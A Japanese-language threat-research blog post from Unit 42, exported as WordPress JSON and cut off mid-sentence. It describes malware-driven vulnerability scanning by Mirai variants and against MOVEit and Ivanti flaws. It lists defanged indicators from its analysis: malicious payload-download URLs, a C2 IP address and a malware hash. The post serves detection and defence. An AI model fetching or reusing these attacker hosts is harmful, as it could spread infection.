{"id":133302,"date":"2024-04-08T15:00:32","date_gmt":"2024-04-08T22:00:32","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=133302"},"modified":"2024-06-16T18:11:10","modified_gmt":"2024-06-17T01:11:10","slug":"malware-initiated-scanning-attacks","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/malware-initiated-scanning-attacks\/","title":{"rendered":"\u653b\u6483\u8005\u306b\u3088\u308b\u76f4\u63a5\u30b9\u30ad\u30e3\u30f3\u3067\u306f\u306a\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u306e\u5897\u52a0\u50be\u5411\u304c\u660e\u3089\u304b\u306b"},"content":{"rendered":"<h2><a id=\"post-133302-_4lt92rr5muov\"><\/a><strong>\u6982\u8981<\/strong><\/h2>\n<p>\u30de\u30eb\u30a6\u30a7\u30a2\u304b\u3089\u958b\u59cb\u3055\u308c\u308b\u300c\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u300d\u3092\u884c\u3046\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306e\u6570\u304c\u5897\u52a0\u3057\u3066\u304d\u3066\u3044\u308b\u3053\u3068\u304c\u3001\u5f0a\u793e\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u304b\u3089\u308f\u304b\u3063\u3066\u304d\u307e\u3057\u305f\u3002\u672c\u7a3f\u306f\u300c\u653b\u6483\u8005\u3089\u304c\u76f4\u63a5\u7684\u306a\u30b9\u30ad\u30e3\u30f3\u3068\u3044\u3046\u5f93\u6765\u306e\u30a2\u30d7\u30ed\u30fc\u30c1\u306b\u4ee3\u3048\u3066\u3001\u3069\u306e\u3088\u3046\u306b\u611f\u67d3\u30db\u30b9\u30c8\u3092\u4f7f\u3063\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u306e\u30b9\u30ad\u30e3\u30f3\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u304b\u300d\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002<\/p>\n<p>\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u3089\u306f\u9577\u5e74\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3084\u30b7\u30b9\u30c6\u30e0\u306e\u8106\u5f31\u6027\u3092\u30d4\u30f3\u30dd\u30a4\u30f3\u30c8\u3067\u7279\u5b9a\u3059\u308b\u306e\u306b\u30b9\u30ad\u30e3\u30f3\u3068\u3044\u3046\u624b\u6cd5\u3092\u7528\u3044\u3066\u304d\u307e\u3057\u305f\u3002\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u306e\u306a\u304b\u306b\u306f\u7121\u5bb3\u306a\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u304b\u3089\u767a\u751f\u3057\u3066\u3044\u308b\u3082\u306e\u304c\u3042\u308a\u307e\u3059\u304c\u3001\u305d\u308c\u3089\u306f\u611f\u67d3\u30de\u30b7\u30f3\u4e0a\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u3088\u3063\u3066\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u4fb5\u5bb3\u3057\u305f\u30db\u30b9\u30c8\u304b\u3089\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u3092\u4ed5\u639b\u3051\u308b\u3053\u3068\u3067\u3001\u653b\u6483\u8005\u306f\u4ee5\u4e0b\u3092\u9054\u6210\u3067\u304d\u308b\u306e\u3067\u3059\u3002<\/p>\n<ul>\n<li>\u75d5\u8de1\u3092\u96a0\u3059<\/li>\n<li>\u30b8\u30aa\u30d5\u30a7\u30f3\u30b7\u30f3\u30b0\u3092\u56de\u907f\u3059\u308b<\/li>\n<li>\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3092\u62e1\u5927\u3059\u308b<\/li>\n<li>\u4fb5\u5bb3\u30c7\u30d0\u30a4\u30b9\u306e\u30ea\u30bd\u30fc\u30b9\u6d3b\u7528\u306b\u3088\u308a\u3001\u81ea\u524d\u30c7\u30d0\u30a4\u30b9\u306e\u307f\u306e\u5834\u5408\u3068\u6bd4\u3079\u305f\u30b9\u30ad\u30e3\u30f3 \u30ea\u30af\u30a8\u30b9\u30c8\u6570\u3092\u5897\u3084\u3059<\/li>\n<\/ul>\n<p>\u79c1\u305f\u3061\u306f\u3001\u305f\u3068\u3048\u3070\u300c\u30ea\u30af\u30a8\u30b9\u30c8\u6570\u304c\u7570\u5e38\u306b\u591a\u3044\u300d\u306a\u3069\u3001\u30b9\u30ad\u30e3\u30f3\u306e\u52d5\u4f5c\u3067\u9855\u8457\u306b\u898b\u3089\u308c\u308b\u7279\u6027\u3092\u8907\u6570\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u7279\u6027\u3068\u65e2\u77e5\u306e\u8105\u5a01\u306e\u30b7\u30b0\u30cd\u30c1\u30e3\u3092\u4f7f\u7528\u3059\u308c\u3070\u3001\u65e2\u77e5\u306e\u30b9\u30ad\u30e3\u30f3 \u30d1\u30bf\u30fc\u30f3\u3060\u3051\u3067\u306a\u304f\u3001\u65b0\u305f\u306b\u51fa\u73fe\u3057\u3066\u304d\u305f\u30b9\u30ad\u30e3\u30f3 \u30d1\u30bf\u30fc\u30f3\u3082\u691c\u51fa\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u3055\u307e\u306f\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/advanced-url-filtering\" target=\"_blank\" rel=\"noopener\">Advanced URL Filtering<\/a>\u3001<a href=\"https:\/\/docs.paloaltonetworks.com\/advanced-threat-prevention\" target=\"_blank\" rel=\"noopener\">Advanced Threat Prevention<\/a>\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/advanced-wildfire\" target=\"_blank\" rel=\"noopener\">Advanced WildFire<\/a>\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/dns-security\" target=\"_blank\" rel=\"noopener\">DNS Security<\/a> \u306a\u3069\u306e<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/security-subscriptions\" target=\"_blank\" rel=\"noopener\">\u30af\u30e9\u30a6\u30c9\u914d\u4fe1\u578b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30fc\u30d3\u30b9<\/a>\u3092\u6709\u52b9\u306b\u3057\u305f<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/next-generation-firewall\" target=\"_blank\" rel=\"noopener\">\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb<\/a>\u3084 <a href=\"https:\/\/www.paloaltonetworks.jp\/sase\" target=\"_blank\" rel=\"noopener\">Prisma SASE<\/a> \u3092\u901a\u3058\u3066\u3001\u60aa\u610f\u306e\u3042\u308b\u30b9\u30ad\u30e3\u30f3 \u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304b\u3089\u306e\u4fdd\u8b77\u3092\u53d7\u3051\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.jp\/prisma\/cloud\/web-application-API-security\" target=\"_blank\" rel=\"noopener\">Prisma Cloud WAAS<\/a> \u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u3001\u30af\u30e9\u30a6\u30c9\u30cd\u30a4\u30c6\u30a3\u30d6 Web \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3068 API \u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3092\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u304b\u3089\u4fdd\u8b77\u3059\u308b\u306e\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002<\/p>\n<p>\u4fb5\u5bb3\u306e\u61f8\u5ff5\u304c\u3042\u308a\u5f0a\u793e\u306b\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u95a2\u3059\u308b\u3054\u76f8\u8ac7\u3092\u306a\u3055\u308a\u305f\u3044\u5834\u5408\u306f\u3001<a href=\"https:\/\/start.paloaltonetworks.jp\/contact-unit42.html\" target=\"_blank\" rel=\"noopener\">\u3053\u3061\u3089<\/a>\u306e\u554f\u3044\u5408\u308f\u305b\u30d5\u30a9\u30fc\u30e0\u304b\u3089\u3054\u9023\u7d61\u3044\u305f\u3060\u304f\u304b\u3001infojapan@paloaltonetworks.com \u307e\u3067\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u3066\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044 (\u3054\u76f8\u8ac7\u306f\u5f0a\u793e\u88fd\u54c1\u306e\u304a\u5ba2\u69d8\u306b\u306f\u9650\u5b9a\u3055\u308c\u307e\u305b\u3093)\u3002<\/p>\n<table style=\"width: 100%;\">\n<thead>\n<tr>\n<td style=\"width: 35%;\"><b>\u95a2\u9023\u3059\u308b Unit 42 \u306e\u30c8\u30d4\u30c3\u30af<\/b><\/td>\n<td style=\"width: 100%;\"><a href=\"https:\/\/unit42.paloaltonetworks.jp\/threat-brief-ivanti-cve-2023-46805-cve-2024-21887\/\" target=\"_blank\" rel=\"noopener\"><b>Ivanti<\/b><\/a>, <strong><a href=\"https:\/\/unit42.paloaltonetworks.jp\/tag\/mirai-ja\/\" target=\"_blank\" rel=\"noopener\">Mirai<\/a><\/strong><\/td>\n<\/tr>\n<\/thead>\n<\/table>\n<h2><a id=\"post-133302-_frgkwkfrl2aa\"><\/a><strong>\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u306e\u6982\u8981<\/strong><\/h2>\n<p>\u30b9\u30ad\u30e3\u30f3\u306f\u3001\u30bf\u30fc\u30b2\u30c3\u30c8 \u30db\u30b9\u30c8\u306b\u5b58\u5728\u3057\u3046\u308b\u8106\u5f31\u6027\u306e\u60aa\u7528\u3092\u72d9\u3044\u3001\u653b\u6483\u8005\u304c\u30cd\u30c3\u30c8\u30ef\u30fc\u30af \u30ea\u30af\u30a8\u30b9\u30c8\u3092\u958b\u59cb\u3057\u305f\u3055\u3044\u306b\u767a\u751f\u3057\u307e\u3059\u3002\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3055\u308c\u308b\u30db\u30b9\u30c8\u306f\u901a\u5e38\u306f\u7121\u5bb3\u3067\u3001\u653b\u6483\u8005\u304c\u30bf\u30fc\u30b2\u30c3\u30c8\u3068\u3059\u308b CVE \u306b\u5bfe\u3057\u3066\u6f5c\u5728\u7684\u306b\u8106\u5f31\u306a\u30db\u30b9\u30c8\u3067\u3059\u3002<\/p>\n<p>\u3088\u304f\u3042\u308b\u30b9\u30ad\u30e3\u30f3\u306e\u52d5\u4f5c\u3068\u306f\u6b21\u306e\u3088\u3046\u306a\u3082\u306e\u3067\u3059\u3002<\/p>\n<ul>\n<li>\u30dd\u30fc\u30c8 \u30b9\u30ad\u30e3\u30f3<\/li>\n<li>\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3<\/li>\n<li>OS \u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c6\u30a3\u30f3\u30b0<\/li>\n<\/ul>\n<p>\u56f3 1 \u306f\u3001\u653b\u6483\u8005\u306b\u3088\u308b\u5358\u7d14\u3067\u76f4\u63a5\u7684\u306a\u30b9\u30ad\u30e3\u30f3 \u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u306e\u653b\u6483\u30e2\u30c7\u30eb\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u3053\u306e\u30e2\u30c7\u30eb\u3067\u306f\u3001\u653b\u6483\u8005\u304c (<a href=\"https:\/\/unit42.paloaltonetworks.jp\/threat-brief-moveit-cve-2023-34362\/\">MOVEit \u306b\u95a2\u3059\u308b\u8105\u5a01\u6982\u8981\u3067\u79c1\u305f\u3061\u304c\u89e3\u8aac\u3057\u305f\u3088\u3046\u306b<\/a>) HTTP POST \u30ea\u30af\u30a8\u30b9\u30c8\u3092\u67b6\u7a7a\u306e <span style=\"font-family: 'courier new', courier, monospace;\">random-university[.]edu<\/span> \u306b\u9001\u4fe1\u3057\u3001MOVEit \u306e\u8106\u5f31\u6027 CVE-2023-34362 \u3092\u30b9\u30ad\u30e3\u30f3\u3057\u3066\u60aa\u7528\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u307e\u3059\u3002\u4eee\u306b <span style=\"font-family: 'courier new', courier, monospace;\">random-university[.]edu<\/span> \u304c\u3053\u306e CVE \u306b\u5bfe\u3057\u3066\u8106\u5f31\u3067\u3001\u307b\u304b\u306e\u4fdd\u8b77\u30e1\u30ab\u30cb\u30ba\u30e0\u304c\u4f7f\u308f\u308c\u3066\u3044\u306a\u3044\u306a\u3089\u3001\u3053\u306e\u653b\u6483\u306f\u6210\u529f\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_133287\" aria-describedby=\"caption-attachment-133287\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-133288 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/04\/word-image-976438-133284-1-1.png\" alt=\"\u56f3 1 \u306f\u3001\u653b\u6483\u8005\u306b\u3088\u308b\u76f4\u63a5\u30b9\u30ad\u30e3\u30f3\u306e\u3057\u304f\u307f\u3092\u793a\u3059\u56f3\u3067\u3059\u3002\u653b\u6483\u8005\u306f\u30bf\u30fc\u30b2\u30c3\u30c8 \u30db\u30b9\u30c8\u306b HTTP POST \u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3057\u3066\u3044\u307e\u3059\u3002 \" width=\"600\" height=\"236\" \/><figcaption id=\"caption-attachment-133287\" class=\"wp-caption-text\">\u56f3 1. \u653b\u6483\u8005\u306b\u3088\u308b\u76f4\u63a5\u30b9\u30ad\u30e3\u30f3<\/figcaption><\/figure>\n<h2><a id=\"post-133302-_vd1rzxcw6bmt\"><\/a><strong>\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3092\u307e\u305f\u3050\u76e3\u8996\u306b\u3088\u308a\u6d6e\u304b\u3073\u4e0a\u304c\u3063\u305f\u65b0\u305f\u306a\u30b9\u30ad\u30e3\u30f3 \u30d1\u30bf\u30fc\u30f3<\/strong><\/h2>\n<p>\u8907\u6570\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3092\u307e\u305f\u3044\u3067\u30c8\u30e9\u30d5\u30a3\u30c3\u30af \u30ed\u30b0\u3092\u8ffd\u8de1\u3057\u3066\u307f\u308b\u3068\u3001\u4e00\u898b\u7121\u5bb3\u306a\u30d1\u30b9\u3092\u3082\u3064\u3001\u5b9b\u5148\u304c\u591a\u6570\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u78ba\u8a8d\u3067\u304d\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u79c1\u305f\u3061\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u306f\u30012023 \u5e74\u306b\u3001\u5c11\u306a\u304f\u3068\u3082 1,406 \u53f0\u306e\u30c7\u30d0\u30a4\u30b9\u304b\u3089\u3001 <span style=\"font-family: 'courier new', courier, monospace;\">guestaccess.aspx<\/span> \u3067\u7d42\u308f\u308b URL \u306b\u5bfe\u3057\u30017,147 \u56de\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u3042\u3063\u305f\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306f\u30012023 \u5e74 6 \u6708 2 \u65e5\u306b\u516c\u958b\u3055\u308c\u305f MOVEit \u306e\u8106\u5f31\u6027\u3001CVE-2023-34362 \u306b\u95a2\u9023\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<p>\u5c65\u6b74\u30c7\u30fc\u30bf\u3092\u78ba\u8a8d\u3057\u3066\u307f\u305f\u3068\u3053\u308d\u3001\u5b9f\u306b MOVEit \u306e CVE \u306e\u516c\u958b\u65e5\u4ee5\u524d\u304b\u3089\u3001\u5f0a\u793e\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u3067\u3001\u3055\u307e\u3056\u307e\u306a\u5b9b\u5148 Web \u30b5\u30a4\u30c8\u3092\u3082\u3064\u3053\u306e\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u304c\u89b3\u6e2c\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u8907\u6570\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3092\u307e\u305f\u3044\u3067\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u3092\u78ba\u8a8d\u3057\u305f\u7d50\u679c\u30012023 \u5e74\u306b\u306f\u3001\u30b9\u30ad\u30e3\u30f3 \u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u95a2\u9023\u3057\u3046\u308b\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u691c\u51fa\u6570\u304c 6,600 \u4e07\u4ef6\u3092\u8d85\u3048\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<h2><a id=\"post-133302-_hxpmxlkejvfp\"><\/a><strong>\u30da\u30a4\u30ed\u30fc\u30c9\u914d\u5e03\u307e\u305f\u306f C2 \u7528\u306b\u65b0\u305f\u306a URL \u3092\u4f7f\u3046\u30b9\u30ad\u30e3\u30f3\u653b\u6483 <\/strong><\/h2>\n<p>\u79c1\u305f\u3061\u304c\u89b3\u6e2c\u3057\u305f\u591a\u6570\u306e\u30b9\u30ad\u30e3\u30f3\u4e8b\u4f8b\u306e\u306a\u304b\u306b\u306f\u3001\u653b\u6483\u8005\u304c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30ea\u30af\u30a8\u30b9\u30c8\u3068\u3068\u3082\u306b\u3001\u305d\u308c\u307e\u3067\u306b\u89b3\u6e2c\u3055\u308c\u305f\u3053\u3068\u306e\u306a\u3044 URL \u3092\u30da\u30a4\u30ed\u30fc\u30c9\u914d\u5e03\u307e\u305f\u306f C2 \u7528\u306b\u57cb\u3081\u8fbc\u3093\u3067\u3044\u308b\u4e8b\u4f8b\u304c\u898b\u3089\u308c\u307e\u3057\u305f\u3002\u3053\u3046\u3059\u308b\u3053\u3068\u3067\u3001\u5f8c\u7d9a\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3084 C2 \u306e URL \u304c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30d9\u30f3\u30c0\u30fc\u306b\u30d6\u30ed\u30c3\u30af\u3055\u308c\u308b\u53ef\u80fd\u6027\u306f\u4e0b\u304c\u308a\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u914d\u5e03\u7528 URL \u3084 C2 \u7528 URL \u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30d9\u30f3\u30c0\u30fc\u306b\u3068\u3063\u3066\u306f\u672a\u77e5\u306e\u3082\u306e\u3067\u3059\u3002\u3064\u307e\u308a\u3001\u3053\u306e\u3042\u3068\u751f\u3058\u308b\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u30d9\u30f3\u30c0\u30fc\u304c\u30d6\u30ed\u30c3\u30af\u3059\u308b\u53ef\u80fd\u6027\u306f\u4f4e\u3044\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002\u3057\u305f\u304c\u3063\u3066\u3001\u521d\u671f\u306e\u30b9\u30ad\u30e3\u30f3 \u30ea\u30af\u30a8\u30b9\u30c8\u306e\u6bb5\u968e\u3067\u691c\u51fa\u30fb\u30d6\u30ed\u30c3\u30af\u3059\u308b\u3053\u3068\u304c\u6975\u3081\u3066\u91cd\u8981\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u79c1\u305f\u3061\u306f 2024 \u5e74 1 \u6708 12 \u65e5 11:23:49 UTC \u306b\u3001\u3042\u308b Mirai \u4e9c\u7a2e\u306b\u3088\u308b\u30b9\u30ad\u30e3\u30f3\u3092\u691c\u51fa\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u4e9c\u7a2e\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306b\u6b21\u306e\u60aa\u610f\u306e\u3042\u308b URL \u3092\u542b\u3093\u3067\u3044\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">103.245.236[.]188\/skyljne.mips<\/span><\/li>\n<\/ul>\n<p>\u79c1\u305f\u3061\u306f 2024 \u5e74 1 \u6708 18 \u65e5 07:31:07 UTC \u306b <a href=\"https:\/\/unit42.paloaltonetworks.jp\/threat-brief-ivanti-cve-2023-46805-cve-2024-21887\/\" target=\"_blank\" rel=\"noopener\">Ivanti \u306e\u8106\u5f31\u6027<\/a>\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3092\u691c\u51fa\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u4ee5\u4e0b\u306e\u60aa\u610f\u306e\u3042\u308b URL \u3092\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u3057\u3066\u542b\u3093\u3067\u3044\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">45.130.22[.]219\/ivanti.js<\/span><\/li>\n<\/ul>\n<p>\u4e0a\u8a18\u306e\u4e21\u4f8b\u3067\u306f\u3001\u30b9\u30ad\u30e3\u30f3 \u30ea\u30af\u30a8\u30b9\u30c8\u306e\u767a\u751f\u5f8c\u304b\u306a\u308a\u7d4c\u3063\u3066\u304b\u3089\u5f8c\u7d9a\u306e\u60aa\u6027\u30da\u30a4\u30ed\u30fc\u30c9\u914d\u5e03\u3084 C2 \u7528 URL \u304c\u691c\u51fa\u3055\u308c\u3066\u3044\u305f\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u3053\u3068\u306f\u3001\u30b9\u30ad\u30e3\u30f3 \u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u30d6\u30ed\u30c3\u30af\u3057\u3001\u60aa\u610f\u306e\u3042\u308b URL \u3092\u8b58\u5225\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u65b0\u8208\u8105\u5a01\u306e\u8fc5\u901f\u306a\u7279\u5b9a\u3068\u5bfe\u5fdc\u3092\u884c\u3046\u3068\u3044\u3046\u3001\u30b9\u30ad\u30e3\u30f3\u691c\u51fa\u306e\u6709\u52b9\u6027\u3092\u7269\u8a9e\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-133302-_ydekzxud81os\"><\/a><strong>\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u3088\u308b\u611f\u67d3\u30c7\u30d0\u30a4\u30b9\u306e\u4e57\u3063\u53d6\u308a\u3068\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u306e\u958b\u59cb<\/strong><\/h2>\n<p>\u81ea\u793e\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u3092\u5206\u6790\u3057\u305f\u7d50\u679c\u3001\u79c1\u305f\u3061\u306f\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u306e\u8105\u5a01\u30e2\u30c7\u30eb\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30e2\u30c7\u30eb\u3067\u306f\u3001\u653b\u6483\u8005\u306f\u30c7\u30d0\u30a4\u30b9\u3092\u611f\u67d3\u3055\u305b\u3001\u305d\u306e\u30ea\u30bd\u30fc\u30b9\u3092\u4f7f\u3063\u3066\u30b9\u30ad\u30e3\u30f3\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<p>\u901a\u5e38\u3001\u3042\u308b\u30c7\u30d0\u30a4\u30b9\u304c\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u611f\u67d3\u3059\u308b\u3068\u3001\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u653b\u6483\u8005\u306e\u5236\u5fa1\u3059\u308b C2 \u30c9\u30e1\u30a4\u30f3\u306b\u30d3\u30fc\u30b3\u30f3\u3092\u9001\u4fe1\u3057\u3066\u6307\u793a\u3092\u6c42\u3081\u307e\u3059\u3002\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u306e\u5b9f\u884c\u3092\u6307\u793a\u3067\u304d\u307e\u3059\u3002\u6b21\u306b\u3001\u4fb5\u5bb3\u30c7\u30d0\u30a4\u30b9\u4e0a\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u3001\u3055\u307e\u3056\u307e\u306a\u30bf\u30fc\u30b2\u30c3\u30c8 \u30c9\u30e1\u30a4\u30f3\u3078\u306e\u30b9\u30ad\u30e3\u30f3 \u30ea\u30af\u30a8\u30b9\u30c8\u3092\u958b\u59cb\u3057\u307e\u3059\u3002<\/p>\n<p>\u305f\u3068\u3048\u3070\u3001\u3042\u308b\u30db\u30b9\u30c8\u304c Mirai \u306e\u4e9c\u7a2e (SHA256: <span style=\"font-family: 'courier new', courier, monospace;\">23190d722ba3fe97d859bd9b086ff33a14ae9aecfc8a2c3427623f93de3d3b14<\/span>) \u306b\u611f\u67d3\u3057\u305f\u3068\u3057\u307e\u3059\u3002\u6b21\u306b\u3001\u3053\u306e Mirai \u4e9c\u7a2e\u306f <span style=\"font-family: 'courier new', courier, monospace;\">193.47.61[.]75<\/span> \u306b\u3042\u308b C2 \u30b5\u30fc\u30d0\u30fc\u306b\u63a5\u7d9a\u3057\u3001\u305d\u3053\u3067\u30b9\u30ad\u30e3\u30f3\u3092\u958b\u59cb\u305b\u3088\u3068\u3044\u3046\u6307\u793a\u3092\u53d7\u3051\u307e\u3059\u3002<\/p>\n<p>\u6307\u793a\u3092\u53d7\u3051\u305f Mirai \u4e9c\u7a2e\u306f\u3001\u611f\u67d3\u30c7\u30d0\u30a4\u30b9\u306e\u30ea\u30bd\u30fc\u30b9\u3092\u4f7f\u3044\u3001\u3055\u307e\u3056\u307e\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306e\u30b9\u30ad\u30e3\u30f3 \u30ea\u30af\u30a8\u30b9\u30c8\u3092\u958b\u59cb\u3057\u307e\u3059\u3002\u56f3 2 \u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u30b9\u30ad\u30e3\u30f3\u306e\u5358\u7d14\u306a\u8105\u5a01\u30e2\u30c7\u30eb\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u653b\u6483\u8005\u304c\u6b32\u3059\u308b\u7d50\u679c\u306f\u8106\u5f31\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u3092\u898b\u3064\u3051\u3066\u60aa\u7528\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_133289\" aria-describedby=\"caption-attachment-133289\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-133290 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/04\/word-image-979173-133284-2-1.png\" alt=\"\u753b\u50cf 2 \u306f\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u30b9\u30ad\u30e3\u30f3\u3092\u793a\u3059\u56f3\u3067\u3059\u3002\u611f\u67d3\u30db\u30b9\u30c8\u306f\u3001\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u30db\u30b9\u30c8 2 \u53f0\u3092\u30b9\u30ad\u30e3\u30f3\u3057\u3066\u60aa\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u30b3\u30de\u30f3\u30c9 &amp; \u30b3\u30f3\u30c8\u30ed\u30fc\u30eb \u30c9\u30e1\u30a4\u30f3\u3068\u611f\u67d3\u30db\u30b9\u30c8\u3068\u306e\u9593\u3067\u306f\u30d3\u30fc\u30b3\u30f3\u304c\u9001\u53d7\u4fe1\u3055\u308c\u3066\u3044\u307e\u3059\u3002 \" width=\"600\" height=\"403\" \/><figcaption id=\"caption-attachment-133289\" class=\"wp-caption-text\">\u56f3 2. \u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u30b9\u30ad\u30e3\u30f3<\/figcaption><\/figure>\n<p>\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306e\u3082\u304f\u308d\u3080\u653b\u6483\u306e\u7a2e\u985e\u306b\u5fdc\u3058\u3066\u30bf\u30fc\u30b2\u30c3\u30c8\u306f\u7570\u306a\u308a\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u3042\u308b\u653b\u6483\u8005\u306f\u653f\u5e9c\u306a\u3069\u306e\u7279\u5b9a\u7d44\u7e54\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u3068\u3057\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u305d\u306e\u5834\u5408\u306e\u653b\u6483\u8005\u306f\u3001\u305d\u306e\u653f\u5e9c\u306e Web 